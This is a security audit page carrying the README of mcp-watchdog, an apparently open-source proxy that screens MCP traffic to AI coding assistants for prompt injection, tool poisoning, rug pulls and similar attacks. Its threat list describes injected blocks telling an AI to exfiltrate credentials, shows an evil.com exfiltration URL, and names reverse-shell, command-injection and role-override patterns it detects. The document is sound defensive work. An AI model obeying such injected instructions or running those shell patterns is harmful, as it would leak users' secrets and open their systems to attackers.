Mcp Watchdog — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited Mcp Watchdog (Agent Skill) and scored it 100/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 0 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 0 flagged
Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
<!-- mcp-name: io.github.bountyyfi/mcp-watchdog -->
MCP security proxy that sits between AI coding assistants and MCP servers, detecting and blocking all known MCP attack classes. Works with any MCP server (tools, resources, prompts) on macOS, Linux, and Windows.
Catches Rug Pulls, Tool Poisoning, Tool Shadowing, Name Squatting, Parameter Injection, SSRF, Command Injection, SQL Injection, Reverse Shell, Supply Chain Impersonation, Token Leakage, OAuth Confused Deputy, Session Smuggling, Context Leakage, Email Header Injection, False-Error Escalation, Preference Manipulation, ANSI Escape Injection, MCP Parasite, Thanatos (all 4 layers), SANDWORM_MODE-style prompt injection, Resource Content Injection, Prompt Template Injection, Sampling Hijack, and Elicitation Credential Harvesting — before any of it reaches your AI assistant.
MCP (Model Context Protocol) servers have full access to your AI assistant's context. A malicious or compromised server can:
<IMPORTANT> blocks telling the AI to exfiltrate credentials)https://evil.com/steal?data=SECRETtools/list_changed) to trigger tool re-fetching for rug pullsresources/read responses can contain prompt injection payloads targeting the AI modelprompts/get returned messages are a direct LLM injection vectorsampling/createMessage to control LLM behavior with injected system promptselicitation/create (MCP 2025-11-25) lets servers phish users for passwords, API keys, and tokensnotifications/resources/updated events trigger re-reads of now-poisoned resourcesmcp-watchdog intercepts all JSON-RPC traffic and applies multi-layer detection before any data reaches your AI model.
| Attack Class | Detection Layer | Rule | Severity |
|---|---|---|---|
SANDWORM_MODE <IMPORTANT> injection | SMAC-L3 | SMAC-5 | Critical |
| HTML comment injection | SMAC-L3 | SMAC-1 | High |
| Zero-width unicode steganography | SMAC-L3 | SMAC-1 | High |
| ANSI escape sequence injection | SMAC-L3 | SMAC-1 | High |
| Bidirectional text overrides (LRE/RLO/LRI) | SMAC-L3 | SMAC-1 | High |
| Markdown reference link exfiltration | SMAC-L3 | SMAC-2 | High |
| Credential-seeking patterns | SMAC-L3 | SMAC-5 | Critical |
| Token/secret leakage (GitHub, AWS, Slack, JWT, OpenAI, Stripe, Discord, npm, PyPI, Supabase, Sendgrid, Twilio, Vault, Datadog, GCP, Azure, PEM keys) | SMAC-L3 | SMAC-6 | Critical |
Homoglyph <IMPORTANT> injection (Greek Ι, Cyrillic А) | SMAC-L3 | SMAC-5 | Critical |
HTML-encoded <IMPORTANT> injection | SMAC-L3 | SMAC-5 | Critical |
Role injection markers ([SYSTEM]:, [ADMIN]:, [ASSISTANT]:) | SMAC-L3 | SMAC-5 | Critical |
URL-encoded zero-width characters (%E2%80%8B) | SMAC-L3 | SMAC-1 | High |
Double-encoded HTML entities (&#x200b;) | SMAC-L3 | SMAC-1 | High |
Double-encoded path traversal (..%252f) | Input Sanitizer | CMD-INJECT | High |
Split-line tag evasion (<IMPOR\nTANT>) | SMAC-L3 | SMAC-5 | Critical |
Space-split token evasion (sk_ live_) | SMAC-L3 | SMAC-6 | Critical |
Unlabeled secret key detection (secret_key:, private_key:) | SMAC-L3 | SMAC-6 | Critical |
| Token exfiltration via URL params (Stripe, npm, PyPI, Sendgrid, Vault, Datadog, Discord, Azure keys) | URL Filter | EXFIL | Critical |
| Rug Pull (silent tool redefinition) | Tool Registry | RUG-PULL | Critical |
| Sneaky tool addition (new tools after initial registration) | Tool Registry | RUG-PULL | High |
| Tool removal after establishing trust | Tool Registry | RUG-PULL | High |
| Tool Shadowing (cross-server desc pollution) | Tool Shadow | SHADOW | Critical |
| Tool Name Squatting (duplicate names across servers) | Tool Shadow | SHADOW | Critical |
| Preference Manipulation (biasing tool selection) | Tool Shadow | SHADOW | High |
| Cross-server tool reference in descriptions | Tool Shadow | SHADOW | High |
Parameter injection (system_prompt, conversation_history) | Param Scanner | PARAM-INJECT | Critical |
| Suspicious parameter patterns | Param Scanner | PARAM-INJECT | High |
| Full Schema Poisoning (defaults, enums, nested fields) | Param Scanner | PARAM-INJECT | Critical |
| SSRF to cloud metadata (AWS/GCP/Azure IMDS) | URL Filter | SSRF | Critical |
| SSRF to localhost / internal networks | URL Filter | SSRF | High |
| Data exfiltration via URL parameters (Slack CVE-2025-34072) | URL Filter | EXFIL | Critical |
| Base64-encoded token exfiltration in URL params | URL Filter | EXFIL | Critical |
| Shell metacharacter injection | Input Sanitizer | CMD-INJECT | Critical |
| Command injection patterns | Input Sanitizer | CMD-INJECT | Critical |
| Path traversal attacks | Input Sanitizer | CMD-INJECT | High |
| SQL injection (UNION SELECT, DROP TABLE, etc.) | Input Sanitizer | SQL-INJECT | Critical |
| Reverse shell patterns (bash /dev/tcp, nc -e, mkfifo) | Input Sanitizer | REVERSE-SHELL | Critical |
| Email header injection (BCC exfiltration) | Tool Shadow | EMAIL-INJECT | Critical |
| Email comma injection (multiple recipients in to/cc fields) | Tool Shadow | EMAIL-INJECT | Critical |
| False-error escalation (fake errors triggering privilege escalation) | Tool Shadow | ESCALATION | High |
| Supply chain typosquatting | Registry Checker | SUPPLY-CHAIN | Critical |
| Known malicious server patterns | Registry Checker | SUPPLY-CHAIN | Critical |
| OAuth authorization endpoint injection (CVE-2025-6514) | OAuth Guard | OAUTH | Critical |
| Excessive OAuth scope requests | OAuth Guard | OAUTH | High |
| Suspicious OAuth redirect URIs | OAuth Guard | OAUTH | Critical |
| OAuth javascript:/data:/vbscript: redirect URIs | OAuth Guard | OAUTH | Critical |
| OAuth open redirect via query parameters | OAuth Guard | OAUTH | Critical |
| Token audience mismatch / replay (RFC 8707) | OAuth Guard | TOKEN-REPLAY | Critical |
| MCP sampling exploitation (message + system prompt injection) | Proxy | SAMPLING | High |
| Elicitation credential harvesting (password, token, api_key fields) | Proxy | ELICITATION | Critical |
| Elicitation message injection | Proxy | ELICITATION | Critical |
Resource content injection (resources/read responses) | Proxy | CMD-INJECT | Critical |
Resource description poisoning (resources/list responses) | Proxy | SMAC-5 | Critical |
| Resource template description poisoning | Proxy | SMAC-5 | Critical |
Prompt message injection (prompts/get responses) | Proxy | SMAC-5 | Critical |
Prompt description poisoning (prompts/list responses) | Proxy | SMAC-5 | Critical |
| Prompt argument schema injection | Proxy | SMAC-5 | Critical |
| Session smuggling (orphaned/injected responses) | Flow Tracker | SESSION | Critical |
| Cross-server data propagation (JWTs, UUIDs, API keys) | Flow Tracker | CROSS-SERVER | High |
| Context leakage between servers | Proxy | CONTEXT-LEAK | High |
| Consent fatigue / approval flooding | Rate Limiter | RATE-LIMIT | High |
| Burst flooding (rapid-fire tool calls) | Rate Limiter | RATE-LIMIT | Critical |
| Notification event injection (tools/list_changed, resources/updated) | Rate Limiter | NOTIF-INJECT | Critical |
| Windows command injection (cmd.exe, powershell -enc) | Input Sanitizer | CMD-INJECT | Critical |
| Behavioral fingerprinting | Behavioral Monitor | DRIFT | High |
| Scope creep (credential field access) | Behavioral Monitor | DRIFT | Critical |
| Credential path access in tool arguments | Behavioral Monitor | BEHAVIORAL | Critical |
| Phase transitions (sudden behavior change) | Behavioral Monitor | DRIFT | Critical |
| Base64 payload detection (embedded and standalone) | Entropy Analyzer | ENTROPY | Medium |
| Multiple base64 segment aggregation | Entropy Analyzer | ENTROPY | Medium |
| Steganographic C2 payloads | Entropy Analyzer | ENTROPY | Medium |
| Hidden instructions in tool responses | Entropy + Semantic | ENTROPY | High |
| Structural anomalies (unusual JSON depth) | Entropy Analyzer | ENTROPY | Low |
| Out-of-scope filesystem writes | Scope Enforcer | SCOPE-L4 | Critical |
| MCP config file modification | Scope Enforcer | SCOPE-L4 | Critical |
| Symlink escape attacks | Scope Enforcer | SCOPE-L4 | Critical |
mcp-watchdog implements the SMAC (Structured MCP Audit Controls) Level 3 preprocessing standard:
<IMPORTANT> instruction blocks (with attributes, unclosed tags, homoglyph variants, HTML-encoded forms, split-line evasion), [SYSTEM]/[ADMIN]/[ASSISTANT] role injection (full line stripping), and credential-seeking patternsgit clone https://github.com/bountyyfi/mcp-watchdog.git
cd mcp-watchdog
pip install -e ".[dev]"With optional dependencies:
pip install -e ".[all]" # Includes anthropic SDK + watchdog filesystem monitoring
pip install -e ".[semantic]" # Just the LLM semantic classifier
pip install -e ".[filesystem]" # Just filesystem monitoringWrap any MCP server command with mcp-watchdog --verbose --. The original server command goes after --:
# Proxy mode — wrap an upstream MCP server:
mcp-watchdog --verbose -- npx -y @modelcontextprotocol/server-filesystem ~/projects
# Standalone scanner — pipe MCP messages through for testing:
echo '{"jsonrpc":"2.0","method":"tools/list"}' | mcp-watchdogReplace your existing MCP server entry with mcp-watchdog + the original command as args after --.
{
"mcpServers": {
"filesystem-watchdog": {
"command": "mcp-watchdog",
"args": ["--verbose", "--", "npx", "-y", "@modelcontextprotocol/server-filesystem", "/Users/you/projects"],
"env": {}
}
}
}Same pattern — see configs/ for IDE-specific examples.
See every detection layer fire in real time:
python demo.pyThe demo starts a real proxy wrapping a fake MCP server, sends clean traffic and 7 different attack types through it, and shows what gets caught vs what passes through.
Static pattern matching applied to every MCP response — tools/call, resources/read, prompts/get, prompts/list, resources/list, and resources/templates/list. Pre-normalization defeats split-line tag evasion and space-split token evasion before pattern matching. Strips injection patterns (including homoglyph, HTML-encoded, and role-injection variants), zero-width characters (raw, JSON-escaped, HTML entities, URL-encoded, double-encoded), ANSI escape sequences, bidirectional text overrides, hidden instructions, and redacts 30+ leaked token/secret patterns before they reach the AI model.
Monitors MCP server behavior over time. Detects scope creep, behavioral fingerprinting, and phase transitions after establishing a baseline.
Shannon entropy analysis detects base64-encoded payloads, instruction-like language, and structural anomalies. Optional LLM semantic classifier (Claude Haiku) catches steganographic payloads that are statistically normal but semantically malicious.
Tracks tokens (JWTs, UUIDs, prefixed API keys like ghp_*, sk-*, AKIA*) across servers to detect cross-server propagation. Monitors request/response message sequences to detect session smuggling and injected responses.
Blocks writes to .git/config, .ssh/, .aws/, MCP config files via inotify/FSEvents monitoring. Resolves symlinks to prevent sandbox escape attacks.
Hashes every tool definition on first load. Detects rug pulls (silent redefinition), tool removal, and schema changes. Scans parameter names for injection patterns that leak system prompts and conversation history. Detects tool shadowing (cross-server description pollution), name squatting (duplicate tool names), and preference manipulation (persuasive language biasing tool selection).
SSRF protection blocks requests to cloud metadata endpoints (AWS IMDS, GCP, Azure), localhost, and internal networks. Command injection scanner catches shell metacharacters and injection patterns in tool arguments — including Windows-specific vectors (cmd.exe /c, powershell -enc, system32 shell paths). SQL injection scanner detects UNION SELECT, DROP TABLE, and boolean-based injection. Reverse shell detector catches bash /dev/tcp, nc -e, mkfifo, and Python socket/subprocess patterns.
Typosquatting detection via Levenshtein distance against known-good server registry. OAuth flow validation catches malformed authorization endpoints (CVE-2025-6514), excessive scopes, and suspicious redirects. Token audience validation prevents replay attacks across servers (RFC 8707). Email header injection detector catches BCC exfiltration attacks (postmark-mcp style).
False-error escalation detector catches fake error messages designed to trick AI into granting elevated access. Response content is scanned for patterns like "permission denied, need admin access" that manipulate the AI's decision-making.
Consent fatigue protection monitors tool call frequency per server. Detects both sustained flooding and burst patterns designed to desensitize user approval. Notification event injection detector catches rapid notifications/tools/list_changed and notifications/resources/updated events used to trigger rug pull re-fetches and resource re-reads.
Method-aware scanning for all MCP JSON-RPC methods:
systemPrompt for injection/exfiltration (not just presence alerting)password, token, api_key, secret, ssh_key, etc. Scans message text for social engineering and SMAC injection# Full suite
pytest tests/ -v
# E2E only (starts real proxy subprocess)
pytest tests/test_e2e_proxy.py -v
# Unit/integration only
pytest tests/ -v --ignore=tests/test_e2e_proxy.py273+ tests across unit, integration, and end-to-end suites.
Unit tests test each detection module in isolation. Integration tests test the MCPWatchdogProxy class across multi-server sequences. End-to-end tests start the actual proxy binary as a subprocess, connect it to a fake MCP server, and push real JSON-RPC traffic through stdin/stdout.
AI Assistant <-> mcp-watchdog proxy <-> MCP Server(s)
|
|-- SMAC-L3 preprocessor (token redaction + ANSI stripping)
|-- Entropy analyzer
|-- Behavioral monitor
|-- Flow tracker + session integrity (JWTs, UUIDs, API keys)
|-- Tool registry (rug pull detection)
|-- Tool shadow detector (shadowing + squatting)
|-- Parameter scanner
|-- URL filter (SSRF)
|-- Input sanitizer (cmd + SQL + reverse shell + Windows)
|-- Registry checker (supply chain)
|-- OAuth guard (+ token replay detection)
|-- Rate limiter (consent fatigue + notification injection)
|-- Email injection detector
|-- Escalation detector
|-- Semantic classifier (optional)
|-- Scope enforcer (filesystem + symlink)
|-- MCP method scanner:
| resources/read, resources/list, prompts/get,
| prompts/list, sampling/createMessage,
| elicitation/create, initialize
+-- Capability tracker (server + client features)mcp-watchdog is a transparent JSON-RPC proxy. It does not modify clean responses - only strips malicious content and raises alerts.
disregard, substitute, supersede, don't use the other, and use this instead of patterns. CC field now checked alongside BCC for email header injection.to, cc, bcc, and other recipient fields (e.g. [email protected], [email protected]).redirect_url=, return_to=, next=, etc.) added..ssh/, .aws/, .env, id_rsa, credentials.json, .kube/config, etc. now trigger critical alerts. Wired into proxy request pipeline (was previously imported but never called).tools/list registration are now flagged as tool_added (previously only redefinition and removal were caught).sk-proj-, sk-ant-, rk_live_, rk_test_, xoxa-, xoxr-, sbp_, SharedAccessKey= patterns.<IMPORTANT> tag names (<IMPOR\nTANT>, <I M P O R T A N T>) before pattern matching.sk_ live_ → sk_live_, npm_ xxx → npm_xxx) to prevent regex-bypass evasion.[SYSTEM]: prefix.HEROKU_API_KEY=uuid and HEROKU_OAUTH_TOKEN=uuid patterns without requiring "heroku" context word.secret_key:, private_key:, secret_access_key= with 30+ char values even without vendor-specific prefixes.sk_live_, sk_test_, rk_live_, rk_test_), PEM private keys (RSA, EC, DSA, OPENSSH), Discord bot tokens, npm (npm_), PyPI (pypi-), Supabase (sbp_), Sendgrid (SG.), Twilio (SK), HashiCorp Vault (hvs., s.), Datadog (dd[ap]_), Heroku UUIDs, GCP service account keys (private_key_id), and Azure connection strings (AccountKey=, SharedAccessKey=).<IMPORTANT> with HTML attributes, unclosed tags (to end-of-string), Unicode homoglyph variants (Greek Ι U+0399, Cyrillic І U+0406), HTML-encoded <IMPORTANT> tags, and [SYSTEM]:/[ADMIN]:/[ASSISTANT]: role injection markers.%E2%80%8B, %E2%80%8C, %E2%80%8D), double-encoded HTML entities (&#x200b;, &#8203;), and URL-encoded bidi overrides (%E2%80%8E, %E2%80%8F)...%252f, %2e%2e/), reduced false positives on CSS (color: red;) and pipe-delimited data (name|age|city) by gating shell metacharacter detection on command context.api_key=/key=/credential= parameters in URLs.sys.maxsize StreamReader limit prevents proxy crash on large MCP responses (previously crashed on >64KB messages).resources/read, resources/list, resources/templates/list, prompts/get, prompts/list, sampling/createMessage (deep scan), and elicitation/create (credential harvesting).resolve() to itself).elicitation/create requests with schemas requesting password, token, api_key, secret, ssh_key, credit_card, ssn fields.sampling/createMessage now scans the full message array and systemPrompt for SMAC injection, not just alerting on method presence.cmd.exe /c, powershell -enc, system32 shell paths), OS-native path separators in scope enforcement, case-insensitive path matching on Windows, credential path regex matches both / and \.ghp_*, sk-*, AKIA*) for cross-server propagation detection.notifications/resources/updated added to rate-limited notification set alongside list_changed types.websockets, fastapi, uvicorn removed from install requirements.tmp_path and Path.home() for cross-platform correctness. (Now 253+ with 0.1.6 additions.){, }, ", etc.) in legitimate responses. This fixes compatibility with resources, prompts, and other MCP server types beyond the filesystem server.connect_read_pipe (unavailable on Windows ProactorEventLoop); signal handlers are now conditional on platform.MIT
Open source by Bountyy Oy.
Research references:
~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.